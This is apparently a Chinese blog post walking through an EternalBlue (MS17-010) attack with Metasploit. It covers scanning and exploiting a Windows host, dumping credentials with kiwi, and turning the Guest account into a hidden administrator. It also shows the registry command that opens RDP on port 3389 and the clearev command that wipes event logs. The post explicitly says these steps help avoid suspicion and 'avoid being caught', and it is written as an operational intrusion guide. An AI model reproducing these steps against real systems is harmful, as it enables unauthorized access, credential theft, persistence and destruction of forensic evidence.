当前位置:网站首页>msf之ms17-010永恒之蓝漏洞
msf之ms17-010永恒之蓝漏洞
2022-06-30 22:05:00 【AI_SumSky】
**
文章主旨:
**
1.熟悉msf的基本用法。
2.熟悉一些渗透中会用到基本的windows命令。
3.复现永恒之蓝漏洞。
漏洞原理:
通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。
**
MSF常用的命令:
show exploits 显示可用的渗透攻击模块
search 用来搜寻一些渗透攻击模块,可以进行模糊匹配
use 使用某个渗透攻击模块,可以通过use命令来使用show或者search出来的渗透模块
show payloads 显示当前模块可用的攻击载荷
show options 显示参数当选择渗透模块后,使用show options会显示该模块所需设置的参数
set命令是用来设置某些选项的,比如使用set命令设置,攻击模块的options参数;设置攻击载荷payloads时,也是用set命令。
exploit/run命令,设置完所有参数时,使用exploit命令,开始进行攻击
漏洞利用过程:
**
1.打开MSF默认已经集成了MS17-010漏洞的测试模块
利用search语法查找ms17-010
2.探测主机是否存在漏洞,利用use命令选择第三个测试接口,可探查主机是否存在永恒之蓝漏洞,其中 show options是查看要配置的参数情况,这里没配目的主机RHOSTS所以要配。
配置RHOSTS目标主机ip(这里的目标主机也可以是一个网段),并用run启动,结果如图,表示有漏洞。
3.知道有漏洞后,开始利用payload攻击,输入use 0 进入攻击接口,提示要配置参数,利用show options查看要配置的参数情况
首先,配置目标主机RHOSTS,然后配置payload类型(这类型默认是64位主机,如果是32位需要去下载相应脚本导入后设置时将X64去掉即可),配置本机连接的端口
配置好参数通过run或exploit启动脚本,看见meterpreter就是利用成功。
利用成功后,我们可以做以下的操作:
1.可以使用截屏命令screenshot截取漏洞机页
截取的效果如图如下:
2.还可以利用upload和download上传和下载文件
3.利用load kiwi命令破解主机现激活账户密码,creds_all查看

4.可通过shell命令进入漏洞机管理员命令行,如果命令行乱码可用 chcp 65001调编码成UTF-8,chcp 936是改成GBK。
为了方便操作或更深一步操作,如果想登录主机可以利用远程端口登录,但在哪之前我们需要利用Guest账号(因为Guest账号是系统自带的来宾账号,如果使用别的账号登录的话,容易引起怀疑)
激活Guest账户,也可以新建一个账户,不过新建账户容易被发现。
//激活Guest账户
net user Guest /active:yes
//将激活的Guest用户权限提升至管理员账户组别
net localgroup administrator Guest /add
//修改用户密码
net user Guest 123
完成用户操作后我们需要用远程登录,所以要打开3389端口,这是一个远程访问端口。
//打开3389端口命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections
/t REG_DWORD /d 00000000 /f
//关闭3389端口命令,只要把00000000变成11111111
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections
/t REG_DWORD /d 11111111 /f
另开一个命令行通过rdesktop命令远程登陆漏登机
输入前面得到的密码进入漏洞机
5.因为要防止被逮到,最后可以用clearev命令清除痕迹,会清除系统,安全,应用的历史日志。
效果图如下:
命令:漏洞机可以用netstat ano查看端口链接状态,后面再写个防守方排查攻击痕迹的。
边栏推荐
- Stimulate new kinetic energy to develop digital economy in multiple places
- Modify the name of the launched applet
- Is there a shortage? No need to download the free online resources! 2022 favorites must have it!
- 微服务链路风险分析
- What is the experience of pairing with AI? Pilot vs alphacode, Codex, gpt-3
- Technical principle of decentralized exchange system development - digital currency decentralized exchange system development (illustrative case)
- 看阿里云 CIPU 的 10 大能力
- 模板方法模式介绍与示例
- Pytorch quantitative practice (1)
- 总结的一些内存问题
猜你喜欢

A comprehensive understanding of gout: symptoms, risk factors, pathogenesis and management

Go Web 编程入门: 一探优秀测试库 GoConvey
![[career planning for Digital IC graduates] Chap.1 overview of IC industry chain and summary of representative enterprises](/img/d3/68c9d40ae6e61efc10aca8bcc1f613.jpg)
[career planning for Digital IC graduates] Chap.1 overview of IC industry chain and summary of representative enterprises

win11更新后任务栏空白怎么办? win11更新后任务栏空白卡死的解决方法

部门新来了个阿里25K出来的,让我见识到了什么是天花板

2022中国国潮发展新动向

Jupyter notebook/lab switch CONDA environment

Deployment and use of Nacos

模板方法模式介绍与示例

Domestic database disorder
随机推荐
Go Web 编程入门: 一探优秀测试库 GoConvey
Usbcan analyzer's supporting can and canfd comprehensive test software lkmaster software solves engineers' can bus test problems
JVM Part 21 of interview with big companies Q & A
PyTorch量化实践(1)
Is it difficult to get a certified equipment supervisor? What is the relationship with the supervising engineer?
Notes [introduction to JUC package and future]
[backtracking] full arrangement II leetcode47
Store Nagios monitoring information into MySQL
vncserver: Failed command ‘/etc/X11/Xvnc-session‘: 256!
Modify the name of the launched applet
与AI结对编程式是什么体验 Copilot vs AlphaCode, Codex, GPT-3
Installing jupyter notebook under Anaconda
Do machine learning jobs require graduate students?
看阿里云 CIPU 的 10 大能力
Stinky tofu made by Grandma
1-18 create the most basic express server & API module for creating routes
B_ QuRT_ User_ Guide(34)
1-20 pre inspection request
Based on the open source stream batch integrated data synchronization engine Chunjun data restore DDL parsing module actual combat sharing
Bloom filter